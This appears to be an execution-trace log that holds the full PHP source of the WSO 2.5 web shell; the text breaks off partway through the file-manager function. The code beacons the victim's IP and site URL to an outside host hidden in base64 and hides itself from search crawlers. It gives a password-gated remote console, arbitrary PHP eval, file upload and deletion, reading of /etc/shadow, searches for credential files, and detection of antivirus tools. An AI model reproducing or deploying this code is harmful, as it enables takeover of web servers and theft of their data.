7 35 R '<?php\nfunction GetIP(){\n if(getenv("HTTP_CLIENT_IP")) {\n $ip = getenv("HTTP_CLIENT_IP");\n } elseif(getenv("HTTP_X_FORWARDED_FOR")) {\n $ip = getenv("HTTP_X_FORWARDED_FOR");\n if (strstr($ip, \',\')) {\n $tmp = explode (\',\', $ip);\n $ip = trim($tmp[0]);\n }\n } else {\n $ip = getenv("REMOTE_ADDR");\n }\n return $ip;\n}\n$x = base64_decode(\'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==\').GetIP().\'-\'.base64_encode(\'http://\'.$_SERVER[\'H'
7 36 0 0.020391 1829744 eval 1 '?><?php\nfunction GetIP(){\n if(getenv("HTTP_CLIENT_IP")) {\n $ip = getenv("HTTP_CLIENT_IP");\n } elseif(getenv("HTTP_X_FORWARDED_FOR")) {\n $ip = getenv("HTTP_X_FORWARDED_FOR");\n if (strstr($ip, \',\')) {\n $tmp = explode (\',\', $ip);\n $ip = trim($tmp[0]);\n }\n } else {\n $ip = getenv("REMOTE_ADDR");\n }\n return $ip;\n}\n$x = base64_decode(\'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==\').GetIP().\'-\'.base64_encode(\'http://\'.$_SERVER[\'HTTP_HOST\'].$_SERVER[\'REQUEST_URI\']);\nif(function_exists(\'curl_init\'))\n{\n $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);\n if($gitt == false){\n @$gitt = file_get_contents($x);\n }\n}elseif(function_exists(\'file_get_contents\')){\n @$gitt = file_get_contents($x);\n}\n?><?php\n$auth_pass = "a6d13df8a46cf713e5cda6a6c0d043bf";\n$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n header(\'HTTP/1.0 404 Not Found\');\n exit;\n }\n}\n\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\n@set_magic_quotes_runtime(0);\n@define(\'WSO_VERSION\', \'2.5\');\n\nif(get_magic_quotes_gpc()) {\n\tfunction WSOstripslashes($array) {\n\t\treturn is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);\n\t}\n\t$_POST = WSOstripslashes($_POST);\n $_COOKIE = WSOstripslashes($_COOKIE);\n}\n\nfunction wsoLogin() {\n\tdie("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value=\'>>\'></form></pre>");\n}\n\nfunction WSOsetcookie($k, $v) {\n $_COOKIE[$k] = $v;\n setcookie($k, $v);\n}\n\nif(!empty($auth_pass)) {\n if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);\n\n if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))\n wsoLogin();\n}\n\nif(strtolower(substr(PHP_OS,0,3)) == "win")\n\t$os = \'win\';\nelse\n\t$os = \'nix\';\n\n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n error_reporting(0);\n\n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n\t@chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\t$cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n\t$cwd .= \'/\';\n\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;\n\nif($os == \'win\')\n\t$aliases = array(\n\t\t"List Directory" => "dir",\n \t"Find index.php in current dir" => "dir /s /w /b index.php",\n \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n \t"Show active connections" => "netstat -an",\n \t"Show running services" => "net start",\n \t"User accounts" => "net user",\n \t"Show computers" => "net view",\n\t\t"ARP Table" => "arp -a",\n\t\t"IP Configuration" => "ipconfig /all"\n\t);\nelse\n\t$aliases = array(\n \t\t"List dir" => "ls -lha",\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n \t\t"show opened ports" => "netstat -an | grep -i listen",\n "process status" => "ps aux",\n\t\t"Find" => "",\n \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\n \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\n \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\n \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\n \t\t"find config* files" => "find / -type f -name \\"config*\\"",\n \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\n \t\t"find all writable folders and files" => "find / -perm -2 -ls",\n \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\n \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\n \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\n \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\n \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\n \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\t\t"Locate" => "",\n \t\t"locate httpd.conf files" => "locate httpd.conf",\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\n\t\t"locate my.conf files" => "locate my.conf",\n\t\t"locate admin.php files" =>"locate admin.php",\n\t\t"locate cfg.php files" => "locate cfg.php",\n\t\t"locate conf.php files" => "locate conf.php",\n\t\t"locate config.dat files" => "locate config.dat",\n\t\t"locate config.php files" => "locate config.php",\n\t\t"locate config.inc files" => "locate config.inc",\n\t\t"locate config.inc.php" => "locate config.inc.php",\n\t\t"locate config.default.php files" => "locate config.default.php",\n\t\t"locate config* files " => "locate config",\n\t\t"locate .conf files"=>"locate \'.conf\'",\n\t\t"locate .pwd files" => "locate \'.pwd\'",\n\t\t"locate .sql files" => "locate \'.sql\'",\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\n\t\t"locate backup files" => "locate backup",\n\t\t"locate dump files" => "locate dump",\n\t\t"locate priv files" => "locate priv"\n\t);\n\nfunction wsoHeader() {\n\tif(empty($_POST[\'charset\']))\n\t\t$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\n\tglobal $color;\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . WSO_VERSION ."</title>\n<style>\nbody{background-color:#444;color:#e1e1e1;}\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\ntable.info{ color:#fff;background-color:#222; }\nspan,h1,a{ color: $color !important; }\nspan{ font-weight: bolder; }\nh1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\na{ text-decoration:none; }\na:hover{ text-decoration:underline; }\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\n.bigarea{ width:100%;height:300px; }\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,\'Courier New\'; }\nform{ margin:0px; }\n#toolsTbl{ text-align:center; }\n.toolsInp{ width: 300px }\n.main th{text-align:left;background-color:#5e5e5e;}\n.main tr:hover{background-color:#5e5e5e}\n.l1{background-color:#444}\n.l2{background-color:#333}\npre{font-family:Courier,Monospace;}\n</style>\n<script>\n var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n var d = document;\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = \'ajax=true\';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\n if (req) {\n req.onreadystatechange = processReqChange;\n req.open(\'POST\', url, true);\n req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n req.send(params);\n }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert(\'Request error!\');\n\t}\n</script>\n<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>\n<form method=post name=mf style=\'display:none;\'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\t$totalSpace = $totalSpace?$totalSpace:1;\n\t$release = @php_uname(\'r\');\n\t$kernel = @php_uname(\'s\');\n\t$explink = \'http://exploit-db.com/search/?action=search&filter_description=\';\n\tif(strpos(\'Linux\', $kernel) !== false)\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n\telse\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\n\tif(!function_exists(\'posix_getegid\')) {\n\t\t$user = @get_current_user();\n\t\t$uid = @getmyuid();\n\t\t$gid = @getmygid();\n\t\t$group = "?";\n\t} else {\n\t\t$uid = @posix_getpwuid(posix_geteuid());\n\t\t$gid = @posix_getgrgid(posix_getegid());\n\t\t$user = $uid[\'name\'];\n\t\t$uid = $uid[\'uid\'];\n\t\t$group = $gid[\'name\'];\n\t\t$gid = $gid[\'gid\'];\n\t}\n\n\t$cwd_links = \'\';\n\t$path = explode("/", $GLOBALS[\'cwd\']);\n\t$n=count($path);\n\tfor($i=0; $i<$n-1; $i++) {\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n\t\tfor($j=0; $j<=$i; $j++)\n\t\t\t$cwd_links .= $path[$j].\'/\';\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\n\t}\n\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\t$opt_charsets = \'\';\n\tforeach($charsets as $item)\n\t\t$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';\n\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n\tif(!empty($GLOBALS[\'auth_pass\']))\n\t\t$m[\'Logout\'] = \'Logout\';\n\t$m[\'Self remove\'] = \'SelfRemove\';\n\t$menu = \'\';\n\tforeach($m as $k => $v)\n\t\t$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n\n\t$drives = "";\n\tif($GLOBALS[\'os\'] == \'win\') {\n\t\tforeach(range(\'c\',\'z\') as $drive)\n\t\tif(is_dir($drive.\':\\\\\'))\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n\t}\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'\n . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' <a href="\' . $explink . \'" target=_blank>[exploit-db.com]</a></nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=green><b>OFF</b></font>\')\n . \' <a href=# onclick="g(\\\'Php\\\',null,\\\'\\\',\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\' . $drives . \'</td>\'\n . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'\n . \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';\n}\n\nfunction wsoFooter() {\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'green\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";\n echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>\n\t<tr>\n\t\t<td><form onsubmit=\'g(null,this.c.value,\\"\\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>\n\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value);return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>\n\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"g(\'Console\',null,this.c.value);return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>\n\t\t<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>\n\t\t<input type=hidden name=a value=\'FilesMAn\'>\n\t\t<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br ></td>\n\t</tr></table></div></body></html>";\n}\n\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\n function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\n function posix_getgrgid($p) {return false;} }\n\nfunction wsoEx($in) {\n\t$out = \'\';\n\tif (function_exists(\'exec\')) {\n\t\t@exec($in,$out);\n\t\t$out = @join("\\n",$out);\n\t} elseif (function_exists(\'passthru\')) {\n\t\tob_start();\n\t\t@passthru($in);\n\t\t$out = ob_get_clean();\n\t} elseif (function_exists(\'system\')) {\n\t\tob_start();\n\t\t@system($in);\n\t\t$out = ob_get_clean();\n\t} elseif (function_exists(\'shell_exec\')) {\n\t\t$out = shell_exec($in);\n\t} elseif (is_resource($f = @popen($in,"r"))) {\n\t\t$out = "";\n\t\twhile(!@feof($f))\n\t\t\t$out .= fread($f,1024);\n\t\tpclose($f);\n\t}\n\treturn $out;\n}\n\nfunction wsoViewSize($s) {\n if (is_int($s))\n $s = sprintf("%u", $s);\n \n\tif($s >= 1073741824)\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\telseif($s >= 1048576)\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\telseif($s >= 1024)\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\telse\n\t\treturn $s . \' B\';\n}\n\nfunction wsoPerms($p) {\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\telse $i = \'u\';\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\treturn $i;\n}\n\nfunction wsoPermsColor($f) {\n\tif (!@is_readable($f))\n\t\treturn \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\telseif (!@is_writable($f))\n\t\treturn \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\telse\n\t\treturn \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n}\n\nfunction wsoScandir($dir) {\n if(function_exists("scandir")) {\n return scandir($dir);\n } else {\n $dh = opendir($dir);\n while (false !== ($filename = readdir($dh)))\n $files[] = $filename;\n return $files;\n }\n}\n\nfunction wsoWhich($p) {\n\t$path = wsoEx(\'which \' . $p);\n\tif(!empty($path))\n\t\treturn $path;\n\treturn false;\n}\n\nfunction actionSecInfo() {\n\twsoHeader();\n\techo \'<h1>Server security information</h1><div class=content>\';\n\tfunction wsoSecParam($n, $v) {\n\t\t$v = trim($v);\n\t\tif($v) {\n\t\t\techo \'<span>\' . $n . \': </span>\';\n\t\t\tif(strpos($v, "\\n") === false)\n\t\t\t\techo $v . \'<br>\';\n\t\t\telse\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\n\t\t}\n\t}\n\n\twsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n if(function_exists(\'apache_get_modules\'))\n wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\twsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\twsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\twsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\twsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\twsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\t$temp=array();\n\tif(function_exists(\'mysql_get_client_info\'))\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\tif(function_exists(\'mssql_connect\'))\n\t\t$temp[] = "MSSQL";\n\tif(function_exists(\'pg_connect\'))\n\t\t$temp[] = "PostgreSQL";\n\tif(function_exists(\'oci_connect\'))\n\t\t$temp[] = "Oracle";\n\twsoSecParam(\'Supported databases\', implode(\', \', $temp));\n\techo \'<br>\';\n\n\tif($GLOBALS[\'os\'] == \'nix\') {\n wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n if(!$GLOBALS[\'safe_mode\']) {\n $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n echo \'<br>\';\n $temp=array();\n foreach ($userful as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Userful\', implode(\', \',$temp));\n $temp=array();\n foreach ($danger as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Danger\', implode(\', \',$temp));\n $temp=array();\n foreach ($downloaders as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Downloaders\', implode(\', \',$temp));\n echo \'<br/>\';\n wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\n wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';\n if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\n $temp = "";\n for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n $uid = @posix_getpwuid($_POST[\'p2\']);\n if ($uid)\n $temp .= join(\':\',$uid)."\\n";\n }\n echo \'<br/>\';\n wsoSecParam(\'Users\', $temp);\n }\n }\n\t} else {\n\t\twsoSecParam(\'OS Version\',wsoEx(\'ver\'));\n\t\twsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\n\t\twsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\n\nfunction actionPhp() {\n\tif(isset($_POST[\'ajax\'])) {\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true);\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "\\n\\r\\t\\\\\'\\0") . "\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0);\n\n\twsoHeader();\n\tif(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {\n\t\techo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';\n\t\tob_start();\n\t\tphpinfo();\n\t\t$tmp = ob_get_clean();\n $tmp = preg_replace(array (\n \'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\n \'!td, th {(.*)}!msiU\',\n \'!<img[^>]+>!msiU\',\n ), array (\n \'\',\n \'.e, .v, .h, .h th {$1}\',\n \'\'\n ), $tmp);\n\t\techo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\n\t}\n echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\\\'Php\\\',null,this.code.value);}else{g(\\\'Php\\\',null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\n\techo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\techo htmlspecialchars(ob_get_clean());\n\t}\n\techo \'</pre></div>\';\n\twsoFooter();\n}\n\nfunction actionFilesMan() {\n if (!empty ($_COOKIE[\'f\']))\n $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n \n\tif(!empty($_POST[\'p1\'])) {\n\t\tswitch($_POST[\'p1\']) {\n\t\t\tcase \'uploadFile\':\n\t\t\t\tif(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\n\t\t\t\t\techo "Can\'t upload file!";\n\t\t\t\tbreak;\n\t\t\tcase \'mkdir\':\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\t\t\t\t\techo "Can\'t create new dir";\n\t\t\t\tbreak;\n\t\t\tcase \'delete\':\n\t\t\t\tfunction deleteDir($path) {\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\t\t\t\t\t$dh = opendir($path);\n\t\t\t\t\twhile ( ($item = readdir($dh) ) !== false) {\n\t\t\t\t\t\t$item = $path.$item;\n\t\t\t\t\t\tif ( (basename($item) == "..") || (basename($item) == ".") )\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t$type = filetype($item);\n\t\t\t\t\t\tif ($type == 